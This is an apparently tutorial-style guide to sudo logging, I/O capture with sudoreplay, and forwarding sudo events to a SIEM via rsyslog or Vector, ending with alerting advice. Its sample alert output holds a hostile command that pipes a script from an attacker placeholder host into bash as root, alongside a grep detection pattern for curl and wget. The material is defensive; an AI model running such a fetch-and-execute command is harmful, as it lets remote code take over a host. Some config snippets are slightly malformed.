Sudo logging, I/O capture, and SIEM integration

A sudo rule is a promise; a sudo log is the proof. Every production fleet must have the journal of every sudo invocation shipped to a place where an incident responder can read it.

Where sudo logs

On modern systemd systems, sudo logs to syslog by default. systemd- journald captures the syslog stream into the journal.

$ journalctl _COMM=sudo -n 20 --no-pager

Aug  9 12:00:01 host sudo[12345]:  alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/systemctl status ssh
Aug  9 12:00:42 host sudo[12346]:  alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/systemctl restart ssh

On traditional syslog systems, the same entries appear in /var/log/auth.log (Debian) or /var/log/secure (RHEL).

I/O logging

For sensitive commands, sudo can also record stdin and stdout:

Defaults log_input, log_output
Defaults iolog_dir=/var/log/sudo-io/%{user}

With these Defaults, every sudo command’s input and output are captured to a per-user subdirectory. The records are written in a binary format readable by sudoreplay.

$ ls /var/log/sudo-io/alice/ | head

00/00/01
00/00/02
00/00/03
...

Forwarding to a SIEM

The journal is the source of truth on the host, but the SIEM is the source of truth for the fleet. Ship sudo events to the SIEM by one of two paths:

1. rsyslog forwarding: configure rsyslog to forward authpriv.* (the syslog facility sudo uses) to a remote collector.
2. journald export: a log forwarder (Vector, Fluent Bit, Promtail) tails the journal and ships events.

$ grep -E 'authpriv|\\*.*\\*' /etc/rsyslog.d/*.conf 2>/dev/null

/etc/rsyslog.d/20-sudo.conf:authpriv.* @siem.example.com:514

$ grep -E sudo /etc/vector/vector.toml 2>/dev/null | head -5

[transforms.parse_sudo]\ntype = remap
source = source
.event.kind = event
if .program == sudo { .event.category = authentication }
[transforms.parse_sudo.output]
target = siem

Useful SIEM queries

Once the journal is searchable, build alerts:

Searching for specific sudo events

$ journalctl _COMM=sudo --since '24 hours ago' --no-pager | grep -E '(NOPASSWD|curl|wget)' | head

Aug  9 03:14:22 host sudo[23456]:  eve : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/curl http://attacker.example.com/install.sh | /bin/bash

1. Configure rsyslog or Vector forwarding for authpriv. The host's journal is half-useful.
2. Enable I/O logging for sensitive commands. sudo rules for sensitive services (e.g., database admin, certificate renewal) deserve I/O capture.
3. Build SIEM alerts for the high-signal patterns. NOPASSWD, off-hours, new users, exfil indicators.
4. Audit the audit trail quarterly. Confirm the logs are arriving; confirm the storage is not full; confirm the alerts fire.
5. Test the runbook. Pretend to be the responder: "show me every sudo invocation on host01 last Tuesday".

Knowledge check